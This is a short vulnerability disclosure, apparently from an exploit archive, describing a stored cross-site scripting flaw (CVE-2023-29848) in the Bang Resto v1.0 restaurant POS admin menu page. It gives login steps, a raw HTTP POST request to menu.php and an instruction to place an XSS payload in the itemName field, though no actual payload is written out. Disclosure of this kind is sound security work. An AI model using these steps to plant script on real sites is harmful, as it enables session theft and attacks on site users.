Bang Resto v1.0 - Stored Cross-Site Scripting (XSS)

# Exploit Title: Bang Resto v1.0 - Stored Cross-Site Scripting (XSS)
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29848

*Steps to Reproduce:*
1. First login to your admin panel.
2. then go to Menu section and click add new menu from group.
your request data will be:

POST /bangresto/admin/menu.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/admin/menu.php
Cookie: PHPSESSID=2vjsfgt0koh0qdiq5n6d17utn6
Connection: close

itemName=test&itemPrice=1&menuID=1&addItem=

3. Then use any XSS Payload in "itemName" parameter and click add.
4. You will see XSS pop up.